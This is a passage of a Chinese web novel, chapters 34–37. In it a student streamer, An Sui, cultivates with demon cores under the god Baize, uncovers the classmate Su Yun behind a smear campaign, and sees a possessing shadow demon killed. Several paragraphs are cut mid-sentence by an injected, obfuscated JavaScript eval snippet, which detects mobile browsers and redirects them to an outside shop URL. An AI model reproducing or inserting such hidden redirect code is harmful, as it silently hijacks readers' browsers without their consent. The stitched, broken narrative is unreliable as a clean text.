白泽想了想,还是道:“妖怪有妖核,就在它的头里面,击败妖怪就能获得妖核。妖核是妖怪修行的结晶,吸收妖核便能增强自身的修为。” 安随:“你的意思是让我吸收妖核?那我岂不是成了妖怪?” 白泽:“……妖核只是妖怪吸收天地精华凝结而成的结晶,并不是它的本体,说白了就是灵气核,你吸收的只不过是灵气而已。” 白泽:“妖之所以能成为妖,便是因为妖界灵气浓郁,适合修行,而人界的动物为什么不是妖,便是因为人界灵气稀薄,根本无法修行。” 安随闻言,这才算真正了解了人与妖的区别。但她还是有疑问。 安随:“那如果人去妖界是不是也能修行?那不还是成了妖了?” 白泽解释道:“理论上人类在妖界也能修行,只不过不是妖,妖的本体还是动物,人类叫做修行者。千年前人界也有修行者出现,只不过人界随着灵气越来越稀薄,修行者越来越少了。” 安随很快抓住了关键词:“也就是说,修行的关键并不是妖界,而是要有灵气?如果人界也有灵气,岂不是人人都能修行?” 白泽:“还要看资质,不是每个人都适合修行的。” 白泽想了想,又补充道:“现在人妖两界屏障被破,伴随着妖怪的入侵,灵气或许也蔓延到了人界。” 安随心跳得很快,如果真是这样,岂不是人界也有了能修行的可能?或许不久的将来,人类便能进入全民修行的时代。 可危机也同样存在,现在,他们要解决的是妖怪在人间作乱的问题。 安随最后还是决定把妖怪入侵这件事和特事局的人说,但那之前,她得证明自己说的是真的。 “你说的妖核长什么样?能给我看看吗?”安随有些好奇,她知道白泽消灭过几个妖怪,手里肯定有妖核。 白泽闻言抬手将一枚妖核落在安随眼前。安随见那妖核就这么直冲冲地出现在她面前,下意识地看了看另外三人的反应,见她们神色正常,这才放心下来。 “不用看了,她们看不见。” 安随闻言这才仔细端详着那枚妖核,发现它通体乌黑,看着就像一颗石头,冷冰冰的。 “这是蛇妖的妖核。”说着,他又展示了另外一颗妖核,却是土棕色,看着就像一颗泥巴团子。 “妖核的颜色与妖怪的本体有关,蛇妖是冷系动物,妖核便是黑色,土妖的便是棕色。” 安随了然地点点头,甚至心里在想,如果自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776724|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己能修行,自己的妖,呸,人核该是什么颜色。 “我对修行者的修行不了解,着重说妖怪的修行。妖怪修行需要吸收日月精华,天地灵气,这个过程很漫长,或许百年,千年才能成为妖。” “等等,你的意思是它们就在那被动吸收灵气等着成为妖吗?” 白泽沉默了一下才道:“修行本就是漫长的过程,不是一蹴而就的。” “哦哦。”安随了然,示意白泽继续。 “能修行的便是妖,不能修行的便是动物,成为别人的盘中餐,妖界的弱肉强食比你想象得厉害。” “嗯嗯。” 白泽:“我说完了。” 安随:“???” 安随:“修行的过程呢?不展开讲一下吗?” 白泽:“我不知道。” 安随抓狂:“你怎么不知道?你不也修行了吗?” 白泽:“我一睁开眼就成了神。” 安随:“……” 安随觉得自己胸口中了一箭,她没想到有一天,自己会遭遇史无前例的凡尔赛现场。 试问,谁还能比白泽的这句话更凡尔赛? 安随问不下去了,只能一个人黯然神伤。 白泽见状,安慰道:“放心,有我在,我会监督你认真修行的。” 可她不会啊,要怎么修行?多看几本修真小说? 安随觉得这个想法可行,甚至已经开始想从哪本修真小说下手了。 白泽连忙制止了她的想法:“我看过修真小说,我感觉上面写的不适合你,你最好还是自己多摸索。” 安随只得作罢。 白泽见她沮丧,便又说道:“从今天起,你每天睡觉的时候便来修行,我会每天监督你。” 安随哀嚎:“那我岂不是没有休息的时间?我第二天上课怎么办?” “我会创造一个时间静止的空间,并不影响你休息。” “好好好。”如果不是在人前,安随都想拍手了。 “好了,现在没其他事了吧,我可以休息了吗?” “还有一件事!”安随连忙道,“你能揪出幕后主使吗?” 白泽:“幕后主使我不知道是谁,但我破了他的障眼术,这会儿应该身受重伤。” “我明白了。” 白泽继续睡大觉。 安随收回神思,继续玩着手机。 是的,在其他三人看来,安随只是在看手机,毕竟她们也在看手机,没有谁察觉到异常。 舆论现在已经渐渐平息,似乎先前的讨伐根本不存在过,但安随却并不会当什么事都没发生过。 经过这事,她也看清了些东西,她的粉丝成分太复杂,并不是每个都那么死忠。 安随拉黑了一批人,都是之前骂过她的。 她的记忆力还不错,跳得欢的那些大部分都记得。 拉黑完后,她还上了直播。 一大批粉丝闻讯涌了进来,有安慰她的,有道歉的,还有支持她的。 安随没说话,就这么开着,手机开始刷微博刷某书。 直到刷到有人说他被白泽拉黑了进不去直播间,直到这种帖子越来越多,甚至随手刷都能出现一个,她这才下了直播。 嘿,就是玩。 34. 第 34 章 粉丝们被她猝不及防地开播和下播搞懵了,直到看到有人哀嚎他被白泽拉黑了,在那痛哭流涕求白泽原谅,他们才恍然大悟,随后背脊阵阵发凉,而后松了一口气。 还好还好,他们没有骂过主播,一直支持她,不然被拉黑的就是他们了。 而他们也终于摸清了点白泽的脾性。这主播不是一般的记仇,而且记性特别好。他们甚至提醒新粉,没事千万不要在白泽面前晃荡,被她记住了可不是什么好事。 当然,也有好事,那就是白泽的心愿簿。不过那个可以说是千军万马过独木桥,二十万里挑一,且看的是心愿,而不是网名,所以,可以忽略。 网络舆论虽然平息,但安随却不会轻易放过夏日懒洋洋,她去派出所报了警,而后才回了学校。 路上,安随在想着自己最近得罪了谁,对方是奔着把她捶死的目的去的,根本不打算放过她。 知道她基本信息的一定是她身边的人,要么是一个学校,要么是她的亲戚,但她的亲戚除了很久不联系的安家人,其他待她都挺好。安家人只是不管她,何况她姓安,更没有必要整死她。 这么看来,只有学校的人了。 但她平常在学校里很低调,除了宿舍的几个人,甚少和别人来往,想来想去也不知道是谁。 安随拍了拍脑袋,想着不会是白泽顶着她身体的时候得罪了人吧? 但她现在又不好再问白泽,于是只能问她的室友。 安随:“你们帮我想想,我最近在学校里是不是得罪了什么人?” 蒋栗看着,一副欲言又止的样子。 安随见状,心道果然有,这白泽不知道背着她干了多少得罪人的事。 安随:“你说吧,我受得住。” 蒋栗:“那天在食堂,我们和苏芸起了冲突,不知道会不会是她。呜呜,这事因我而起,都怪我太冲动了,给你惹麻烦了。” “苏芸?”安随在脑海里回想着这个人,最终还是没想起来这是哪号人物。 宋知冉在一旁提醒:“栗栗的前男友岳初傍了个富婆,把栗栗甩了,他的新女友就是我们学校的风云人物苏芸。” “哦。”安随还是没印象,但她不动声色,认真听着。 蒋栗继续控诉,撸起袖子,一副要去干架的样子:“我这就去把渣男约出来暴打一顿,这事肯定是他俩干的。” 宋知冉劝她冷静,并且也帮着分析:“岳初性格懦弱,畏手畏脚,我不觉得他能干出这种事,多半是苏芸干的,你约他出来也没用。” “哼,要不是他,我们怎么会招惹上苏芸?不行,这口恶气我不出心里憋得难受。” “冷静冷静,冲动是魔鬼啊,别给安安找麻烦。”宋知冉劝道。 “给他打电话吧。”安随道。 “安安??”宋知冉有些疑惑,这事一看就和岳初没什么关系,约他出来也没用。 “我这就打电话。”蒋栗气冲冲地拨通了岳初的电话,对方很快就接了起来,小声道:“怎么了?” “你出来。” “我有事,走不开,有什么事电话里说吧。” “你出来我再说。” “没事我挂了。” “你敢挂电话试试?”蒋栗炸毛了,几乎跳了起来。 岳初叹了口气:“别闹了,我真有事。” “什么事那么见不得人?” 安随见她说了半天没有半点进展,便拿过了蒋栗的手机,问岳初:“岳师兄,苏芸是不是生病了?” 电话里的人沉默了一会儿,良久才道:“是。” “方便说一下吗?” 岳初便把经过说了一下。 苏芸前段时间摔断了腿,最近一直在家静养,岳初放学后便去照顾她,几乎当牛当马,照顾得无微不至,但苏芸却性情大变,原本只是有些娇纵,最近却变得暴虐,一个不顺便对岳初破口大骂,又掐又打,但他却不能还手,只能被动承受。 岳初是真有点怕她了,只想着等她腿好了就提分手。最近苏芸经常自己杵着拐杖外出,不让他陪同,回来以后虽然不骂他了,但眼神却像看一个陌生人一般,还神神叨叨的,看得岳初心里发毛,除了照顾她都起居,其他时间他都没和她呆一个屋子里。 今天晚上,独自呆在房间里的苏芸突然尖叫一声,他听到去敲门,却没人回应,后来他便撞开了房门,见苏芸仰躺在地上,嘴角留着鲜血,整个人昏迷不醒。 他连忙叫了救护车把她送到医院,现在都还在抢救。 他联系不上她的家人,正准备打苏氏集团的值班电话,蒋栗的电话便打过来了。 蒋栗听完冷笑一声:“你还真贱呐,她都这么对你了,你还死赖在她身边不走。” 岳初被她说得也有点恼了:“这和你没关系吧?我们已经分手了。” 蒋栗听完冷哼了两声,没再说话了。 这会安随几乎能确定对付她的人便是苏芸,只是障眼术是妖术,自然只有妖能施展,也就是说苏芸身边有个妖,而且很有可能已经占据了她的身体。 这么一来,她们便不能轻举妄动,若是妖怪恼羞成怒,毁了苏芸的身体,那就得不偿失了。 安随还想着让苏芸醒来全平台给她道歉呢。 回到宿舍以后,另外二人相继去洗漱,而安随点开了特事局的速音。 安随:“锦城人民医院有能量体出没,请派人前去探查。” 过了五分钟,特事局回复她:“收到。你怎么检测到的?” 对方并没有问她怎么知道能量体,而是直接问她如何检测,说明风眠他们已经向特事局说了她的情况,这样也好,免得她还费口舌去解释那么多。 安随:“猜的。” 特事局:“……” 特事局:“这种事不能儿戏,请认真回答。” 安随:“真是猜的,但请相信我说的,就凭我能从能量体手里全身而退。” 这句话发过去后,过了会儿才收到回复:“好。” 安随想了想,又问道:“他们三个人怎么样了?” 特事局:“还在昏迷。” 安随:“祝早日康复。” 特事局:“谢谢。” 安随把事情交待完后便退出了速音,宋知冉二人已经洗漱完毕,安随也洗漱完后便上了床,等着白泽召唤。 她不知道白泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安随大脑失去了思考,身体失去知觉。但她依然把它握在手里,当肢体失去知觉,做的任何动作也感应不到。 现在的她灵魂与身体割离,整个人进入一种玄妙的状态,那种状态说不清楚,只能意会。 静止的空间里,安随盘腿坐在正中,她双目紧闭着,手中的妖核开始慢慢变小。 白泽将这里留给了安随,悄声地退了出去。 第二天有早课,平日里起得最早的安随,此刻却仍然熟睡着。 宋知冉洗漱完后见安随还在睡便去叫她,哪知却没有得到任何回应。 宋知冉连忙叫上蒋栗一起去看安随的反应,却见安随一动不动,双目紧闭着,丝毫没有醒来的迹象。 两人有些慌了,试探了下安随的鼻息,见她呼吸均匀,这才放心下来。 就在两人准备下床时,一只无毛尖嘴怪却突然从安随的被窝里钻了出来,在两人惊异的目光中,张开了嘴巴,发出一阵公鸡的打鸣声。 随后,她们便见还在熟睡的安随,突然睁开了眼。 35. 第 35 章 “安安,你终于醒了,你没事吧?”蒋栗都担心死了,见安随醒来,连忙问道。 安随才刚从玄妙的状态中抽离出来,这会儿脑子还有懵,过了会儿才问道:“几点了?” “快八点了,今天早上是高数课,得赶紧去上了,你快起来收拾收拾,快迟到了。”蒋栗说完便下了床。 宋知冉看了一眼窝在安随旁边的无毛怪,好奇地问道:“安安,这是什么品种的鸟啊?怎么还会打鸣?” 安随看了一眼小凤凰,想着怎么和宋知冉解释,宋知冉却又很快下了床:“你赶紧收拾吧,我们先走了。” 安随见状,也不再耽搁,穿戴整齐后便准备下床,小凤凰却叫住了她:“老大,我也要去!” “你就在寝室呆着,别吓着人了。”安随说完便下了床。 “我一个人呆在这里太无聊了,想出去看看。” “你又不会飞,能去哪?我到时候还得找你。” “这个寝室我都转遍了,实在没地方去了,你就带我出去嘛,我保证不乱跑。”小凤凰开始撒娇。 安随被它磨得没办法,只得答应,千叮万嘱让它不能乱跑,小凤凰小鸡琢米似地点头。 安随将小凤凰揣在兜里便出去了,去食堂买了两个包子便往教室走去。 这节课是大课,教室很大,安随照常坐在最后一排,宋知冉三人已经坐好,给安随留了位置。 安随坐定后,不一会儿老师也来了,开始正式上课。 小凤凰在兜里闷得难受,从里面钻出来个脑袋,好奇地四处张望。 宋知冉见状,连忙问道:“安安,你怎么把它带来了?” 安随无奈地说道:“它在寝室里待不住,非要跟着我过来。” “你这只鸟还挺有灵性。”蒋栗看着非常喜爱,想要去摸小凤凰的头,却被小凤凰伸嘴啄了一下,她连忙收回手,“这小东西还挺凶,它是鸟还是鸡啊?” 安随顺了一下小凤凰的脊背,对方立马变得乖巧:“是鸟。” 蒋栗见它变脸比翻书还快,也是啧啧称奇:“这鸟都快成精了。” 可不就成精了吗?安随在心里想着。 一节课很快结束,安随中场休息的时候,不时有几个学生过来和她打招呼,安随不得不回应他们,甚至还有人问她要签名,安随都有些无奈,她又不是明星,拿她签名干什么? 但看对方如此殷切,她便依言签了,结果一发不可收拾,找她签名的人越来越多,安随手都签软了,好在上课铃声拯救了她,她这才如释重负。 结果下节课又开始循环操作,把安随都整麻了,不由问道:“你们要签名干什么?” “供起来。”有个学生神秘兮兮道。 安随:“???” 这又是什么操作? 她的签名能干嘛?只是两个字而已啊。 但其他人管不了那么多,他们只知道,安随直播时间太不稳定了,其他时间,他们只能采取这个办法。 好不容易熬到吃午饭,安随手都签酸了,感觉手已经麻得不是自己的了。 四人一起去吃午饭,刚走到食堂,不知道谁喊了一声:“白泽来了!”,众人闻言,纷纷朝四人靠近,吓得四人从食堂侧门跑了出去,压根不敢往回看。 四人径直出了校园,去了牡丹园。 孟与家的阿姨在路上就得到消息,做了四人的饭菜,四人直奔孟与家。 狼吞虎咽后,她们才有劫后余生的庆幸,还好她们还有这个落脚点,不至于在被追逐时无地可去。 下午三点才有课,四人便在牡丹园休息一会,但三人也只在沙发上休息,没去房间里,主要是休息不了多久便又得去学校。 小凤凰和三人也混熟了,这会儿正光脚踩在地板上,四处巡逻。 安随想起昨天和特事局说的事,便上了速音,果然看到特事局的留言:“能量体已消灭,感谢你的支持和配合,以后若发现能量体,请勿自己行动,私信我们,我们会派人去查探。” “但你们局里的高手都还在昏迷,告诉你们可行吗?” 特事局:“那只是我们局里的其中三个人,我们还有其他高手。” “话说你们发现了核吗?” “什么核?” 安随一听这话便知道他们并没有发现妖核的秘密,这个可是妖怪的核心,如果没有找到妖核,很难排除妖怪已经被他们处理干净了。 “你们怎么消灭它的?” “利诱,然后扑杀。” 言简意赅。 “苏芸还在医院吗?”安随觉得,有必要亲自会会她了,她想知道,那妖怪到底被消灭掉没有。 “在。” 安随便决定等下课以后再去医院,她先是问蒋栗要岳初的联系方式,结果蒋栗告诉她她把岳初删了,她也联系不了他,但他同学那肯定有。 蒋栗说的岳初同学,不是别人,正是她的现男友。 安随听到蒋栗向她现男友问前男友的电话,差点惊掉下巴,这是什么修罗场! 蒋栗的现男友叫余非,蒋栗给他打电话要岳初的电话时,他什么也没问,很爽快地就给了。 安随拿到岳初的电话便打了过去,对方得知她想去医院看看苏芸,有些迟疑:“你为什么想去看她?” 安随早就想好了措辞:“毕竟同学一场,她出事了还是去看看她。” 岳初没有多想,说了苏芸的房间号。 下午的时候,四人回学校去上课,似乎受到了某种警告,没有再出现学生骚扰安随的事情。 安随长舒了一口气,总算不用东躲西藏,天天提心吊胆了。 一下午的上课,她们都平安度过,晚饭过后,安随便准备一个人去医院看苏芸。 蒋栗有些担心她:“安安,你一个人去能行吗?岳初说苏芸现在的脾气很差,我怕你打不过她。” “别担心,我又不是去打架的。” “但就怕她想打你啊。”蒋栗还是有些不放心。 安随好说歹说才没让蒋栗跟着去,正准备走时,宋知冉又叫住了她。 “安安,有什么事一定要和我们说啊,别一个人扛着。” 安随愣了一下,随后点点头。她看得出室友是真的担心她,但是这种事并不适合让她们知道,毕竟确实有一定的危险性,谁也不知道那个妖怪被消灭掉没有,带上她们反而她得抽出空保护她们。 安随在室友担心的目光中出了学校,往锦城人民医院出发。 再次来到医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801968|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院,安随还有些感慨,这里可是承载着母亲的希望,她必须确保这里没有一点危险。 安随寻着苏芸的住院病房过去,一直走到了最里间,才到了苏芸的病房。为了表现出她确实是来看病人的,在路上她还买了一袋水果。病房里只有苏芸一个人,静悄悄的,没有一点声响,苏芸正熟睡着。岳初没在,应该是出去吃饭了。 安随将水果放在桌子,只轻微的声响,却见苏芸突然睁开了眼睛,阴恻恻地看着她:“你来做什么?” 安随动作一顿,看向警惕心极强的苏芸,笑了笑:“来看你啊。” “我不觉得以我们的交情你会来看我,说吧,找我什么事。”苏芸不为所动,压根不相信她的话。 安随叹了口气:“怎么就不相信我说的话呢?我的话那么没有信服力吗?” 苏芸坐了起来,看向一旁的苹果。 安随便拿了一只出来削皮,削好皮后又递给她:“吃吧。” 苏芸没接:“我怕你下毒。” 安随收回手,自己咬了一口慢慢吃着。别说,这苹果还挺甜,没浪费她的钱。 苏芸看着她将一整个苹果都吃完了,有些想拿苹果,却硬生生地收回了目光。 “无事不登三宝殿,说吧,到底找我什么事?” 安随叹气:“那么着急啊,看来不能寒暄下去了。” 苏芸冷冷地看着她。 安随收敛了笑容,眼神一下子就变了:“夏日懒洋洋是你找的人吗?” “那是谁?” “她在网上曝光我未婚先孕还打胎的事情,我被全网追着骂。” “是吗?”苏云不为所动,“那恭喜你啊。” “你真的不知道吗?”安随定定地看着她,似乎想从她脸上看出点什么。 “我为什么要知道?我一直躺在医院里,手机也懒得刷。” “所有人都认为那是我,包括我也看不出那个视频的破绽,可偏偏有人看破了,那个视频的人是一个陌生的女人,和我没有半点关系。” 苏芸偏过头去:“你和我说这些做什么?我对你的八卦不感兴趣。” 安随忽然倾身向前,苏芸下意识地往后缩了一下,却被安随定住了身子。 “你怕我?” “怎么会?” 安随捉住了她的肩膀,苏芸却往后挣,想要挣开她的束缚,却发觉自己无论怎么用力也挣脱不开。苏芸惊异地看了她一眼,随后便见有什么东西自苏芸身体里跑了出来,安随连忙去追。那东西跑得极快,在走廊里四处逃窜,安随速度跟不上,眼见着那东西的身影就要消失在走廊里,却听得它尖叫一声,随后便没了动静。 安随跑过去一看,便见一只大耗子叼着那东西,往安随相对而站。只见它双爪往前,将那东西扔在地上,讨好道:“老大!” 安随辨认了一会儿,才想起来它是谁。 “吱吱?” “老大你还记得我呀!我把它咬死了,我厉害吧?” 安随安抚地夸了夸它:“真厉害。” “这东西特别狡猾,一直附身在那个人身上,我们蹲了好多天了,要不是今天被老大抓出来,我们还逮不到它。” “那是什么?”安随看着躺着地上的黑影。 36. 第 36 章 这是影子怪,是从影子里长出来的怪物,能无限复活,昨天有几个人把它逮了出来消灭掉了,但是这东西长得极快,那些人刚走,它又复活了,再次钻入那个女孩身体里,我们一直在暗中保护那个女孩。” 安随心道果然,妖怪必须消灭它的妖核才能将它彻底杀死。安随将手覆在影子怪的头上,催动着身体里的能量全部集中在手上,随后向下压了下去。影子怪的身体在他们眼前消失,一颗黑色弥漫着雾气的妖核出现在安随手里。 安随将妖核揣回了兜里,和吱吱说话:“你为什么要抓它?” “我现在可是护妖队的一员,专门抓在人间作乱的妖怪。”吱吱非常自豪。 “护妖队?你们有多少妖啊?” “这个我也不清楚,但是应该不多。我们不仅要躲避妖卫的追杀,还要小心不被人类发现,别提过得有多艰难了。”吱吱说着,似又想起什么,激动道,“老大,你带领我们杀回妖界吧!” 安随想起上次吱吱闻出了她不是它的老大,不知道这次怎么没发现,但她没想那么多,而是把白泽唤出来,让他和它交谈。 白泽最近一直在吸收信仰之力,他的灵魂修复了大半,心情正好,被安随打断也不恼,而是好心情地问道:“唤我做什么?” “你的追随者叫你呢。” 白泽懒洋洋地看了眼只到安随膝盖的吱吱,又收回目光:“它是谁?” “就是我上次和你说的吱吱。” 白泽想了会儿才想起来:“它叫我干嘛?” “它让你带它们杀回妖界呢。” 白泽沉默了会儿:“和它说,本君正在养精蓄锐,让它们别急。” 安随转达了白泽的话,吱吱猛地点点头:“嗯嗯,我们等着大王的召唤!” 说完,吱吱一溜烟就没了踪影。 趁白泽在,安随又和他说了一下她刚才成功取出一枚妖核。白泽看了一眼那枚妖核,道:“低阶妖核,自己放着吧,晚上好好修行。”说完便又没了动静。 安随便又回了刚才的病房,苏芸见她进来,尖叫一声,大喊道:“别靠近我!” 她的身体不停地往后退,直到退无可退,开始往安随方向扔东西,但都被安随灵巧地躲过。苏芸手不停地抖,眼里充满了恐惧,似乎还未从刚才的状态中抽离出来。 安随问她:“你为什么怕我?” “我没怕你,我都说了不是我,不要再缠着我了,再缠着我报警了。” “报啊。”安随正等着她这句话呢。下午的时候她接到警察局的电话,夏日懒洋洋承认在摸黑造谣安随,并且坦白是受到她人指使,那人威胁她不这么做就要杀她,还把她的微信给了警察,警察发现这是个小号,但是很快就查到了使用人的信息,正是苏芸。警察问她要怎么处理,是私了还是公事公办。 安随便正好趁这个机会过来找苏芸,如果她承认错误并且全平台向她道歉,她可以既往不咎,但如果她死不悔改,那她也不会客气。 苏芸做贼心虚,哪里敢报警? 安随便帮她拨通了报警电话:“喂你好,我要报警……” 苏芸冲过来想要拿安随的手机,却被安随躲过,整个人扑在地上,很快又爬起来抢手机。安随边躲边说了这边的情况,而那边也收到消息,十分钟后就过来。 苏芸开始大喊大叫:“安随你不得好死,我诅咒你永世不得超生!” 这话太恶毒了,安随收敛了笑容,神情变得冷淡:“既然这样,那便不要怪我不客气了。” 安随上了速音,开启直播。她现在发现自己没有那么排斥直播了,能吸收信仰之力是一方面,另一方面也可以作为维护自己权益的武器。 现在正好是晚饭高峰期,在线蹲直播的人很多,安随一上线便有人发现了,纷纷涌进直播间。 “呜呜我好幸福,又看到女神直播了。” “女神直播的时间有点随机啊,每天蹲守好痛苦啊,不过很快乐,我又看到女神开播了。” “我们就是最幸福de,主播今天要聊什么?” “别刷屏了,看看是怎么回事?那个冲白泽大喊大叫的女人是谁?” “靠,这疯女人是谁?骂人也太难听了!白泽怎么不反击啊?就让她这么骂下去吗?” “看这背景,不会是在精神病院吧?” “主播快骂回去啊!我不想看这疯女人了,简直晦气。” 安随依然对着苏芸开着直播,苏芸想要来抢手机,几次都被安随躲过去,这无疑更加激怒了苏芸,骂的话更难听了。 安随见人数上了十万,这才无奈道:“苏芸,你骂够了吗?我自认没有得罪你,为什么你要找人造谣我?你住院了,我好心来看你,你为什么逮着我骂?” “你会有那么好心来看我?我呸!表子养的东西!” “啪——”安随拿着手机的手还在抖,刚才的那一巴掌几乎用尽了她的全力,“骂我可以,不要骂我家人。” 苏芸被她打蒙了,半边脸肿得老高,她有些难以置信地看着先前还装作楚楚可怜的安随,此刻却突然冷了脸,一瞬间的变化竟然让她忘记了,安随本就不是表面看起来的那么柔弱。 “打得好!”直播间的网友开始刷屏。 “这疯女人叫苏芸?有人认识吗?” “她是C大的风云人物,家里有权有势,在学校横着走,大家都不敢惹她,没想到她比传闻中更加跋扈。我有点担心安随,她打了苏芸,不会被苏家报复吧?” “怕什么?十万网友看着呢,明明就是苏芸先骂人,安随只是正当防卫。” “就怕苏家人不是安随能惹得起的。” 不过这句话没有多少人在意,他们都坚信,那么多双眼睛看着,苏家人不敢把安随怎么样。 而C大学生刷到直播,在看到苏芸的丑恶嘴脸时,也纷纷开始刷屏。 “天呐,没想到苏芸竟然是这种人!她不想在学校里呆了吗?” “这是校园霸凌吧?我早就看不惯她了,在学校里颐扬气趾的,根本不把我们放在眼里,没想到她竟然这么恶毒。” “心疼安随,竟然招惹上了这么一个疯子,我支持曝光她!强烈要求学校勒令她退学!简直败坏了C大的风气!” “学校要怎么处理啊?这种道德败坏的学生,让她继续呆在学校不是影响我们吗?” “安随这巴掌真解气,就该杀杀苏芸的气焰,不然真以为学校是她家开的了。” 粉丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“谢谢老师。”安随笑着开口,在林升挂断电话后,才收敛笑意,拍了拍躺着地上装晕的苏芸的脸,“都听到了吗?要道歉哦,不然我不会放过你的哦。” 苏芸死死闭着眼睛不敢睁开,感受到那只冰凉的手在她脸上划过,划到她伤口的时候,她疼得愣是不敢吭声。 安随心情很好地离开了。 出来的时候看到岳初就在门口,诧异地看了他一眼:“岳师兄?你来了多久了?” 岳初擦了擦额角的汗,结结巴巴道:“刚,刚刚到。” 安随笑了笑:“那岳师兄进去照顾她吧,我先走了。” “好,好,再见。” 目送着安随下了楼,岳初这才敢进去,把苏芸扶起来,苏芸反手就拍掉他的手,气愤地说道:“早不到晚不到,偏偏安随一走你就到,你故意的吧?” 岳初哪敢说话触她霉头?只赔笑着把她扶坐在床上,将打包的饭打开递给她:“吃吧,你想吃的那家店买的,我排了好久的队。” 苏芸确实饿了,开始狼吞虎咽吃起来。 她要吃饱,才有力气回去告状,不然,还没到苏家,她就累趴在路上了。 37. 第 37 章 安随很快回了学校,一路上碰到几个同学,都十分同情她,并且为她加油打气:“安随我们支持你,你一定不能被打倒!” “安随,不要向恶势力低头,和他们刚到底!” 安随看着比她还激动的几位同学,强撑着笑了笑。 素未蒙面的同学对她热情过了头怎么办?在线等,挺急的。 社恐安随最近遭遇了同学间从未有过的火热,把她都快烤化了。在学校真的是走几步都能遇到和她打招呼的。 突然挺怀念以前没有人打扰当透明人的日子了。 安随只感慨了会儿便恢复了精气神,这条路是她自己选的,早晚都要面对这些。 安随到宿舍的时候,宋知冉和蒋栗二人正等着她,见她回来便上下打量了她一眼,问道:“安安,你没事吧?” 安随摇了摇头:“没事。” “苏芸真是太嚣张了,居然那么骂你,你那一巴掌打得真解气。”蒋栗恶狠狠地出了口气,看起来比安随还生气。 安随一路回来,现在一点都不气了。 她都那么威胁一通了,苏芸要是还要在她面前跳,那她无话可说,只能感叹她堪比打不死的小强。 安随上了速音给特事局留了言:“给个地址,有好东西要给你们。” 安随准备将晚上得到的那颗妖核给特事局,顺便告诉他们面对妖怪时怎么取妖核。一是那影子怪本就是他们击败的,只因他们不了解影子怪的特性,这才让它复活。二也是她想做个顺水人情,将妖核给特事局研究。现在妖怪横行,如若人类的力量不快速成长起来,那么人间将遭受难以想象的劫难,这是安随不愿意看到的。 几分钟后,那边便回了个地址和联系电话,顺便问了句是什么东西。 安随却不愿意那么早透露。 那样收到东西后才有惊喜,不是吗? 晚上十二点,这已经成为了安随雷打不动的修行时间。安随手里还有妖核,而且越到后面,妖核吸收速度越慢,修行速度也受限。但安随处在静止的空间里,根本感觉不到时间的流逝,只觉得还未多久,小凤凰便把她叫醒了。 再一睁眼,天已经亮了。 如今,小凤凰已经成了她的闹钟,每天准时把她叫醒,也不算全无用处。 安随虽未真正入眠,却并不感觉到疲惫,反而因为修行以后,精神比以前更好了。 接连几天都是如此,偶尔白泽会出来扔给她一颗妖核,便又搞失踪。安随只管吸收妖核,将妖核的力量转换为自己的,其他的一概不懂。 直到有一天,安随接到了特事局的电话。 “安同学你好,我是特事局的工作人员孟青,你这个周末有空来京市吗?” 安随果断拒绝:“没空。” 周末就两天假,京市又那么远,她懒得折腾。 “所有费用我们全包,我们有一些问题想要当面请教你。” “那你们过来吧。” 既然求人就要有求人的态度,她才不会因为对方是官方就惯着。 那边只考虑了几秒钟便答应了,并且和安随约定了见面的时间和地点。 这个小插曲过后,安随便又投入了修行当中。 现在她除了上课吃饭的时间,几乎都在修行。 接连几天的修行,让安随感受到了身体的变化。首先便是身体更轻盈了,以前跑几步就喘得厉害,现在健步如飞。她的力量也变强了,提重物一点都不觉得累。这些并不是白泽赋予她的,而是她实实在在修行出来的。 她正慢慢脱离白泽的帮助。 白泽最近也神出鬼没,两人很少有对话。安随的粉丝一点点在增加,现在已经有250多万,而她的打赏,她也有一段时间没看,今天安随难得打开看了一下,不看不要紧,一看吓一跳。 她竟然有20多万的打赏。 不知不觉,她竟已攒齐了母亲的医药费。 安随手也有些抖,这一刻,她迫切地想要开直播,和大家说点什么。 安随直播的时间向来随意,粉丝都习惯了,也习惯性地蹲她的直播,看她到底什么时候播。距离上一次直播已经有好几天了,而安随除了吃饭上课,粉丝们几乎逮不到她,她们也不会去宿舍蹲守,因为知道安随不喜欢。 难得碰到安随直播,粉丝就像过了年一样,开始在直播间里放鞭炮。 “过年啦,白泽主播啦!” 不少人纷纷跑去其他平台揺人,奔走相告。 “报!白泽直播了!速来!” 收到消息的网友火速敢来,开始刷屏,礼物特效看得人眼花缭乱。 只一分钟的时间,在线观看人数便到了五万,随后飙升到了十万。 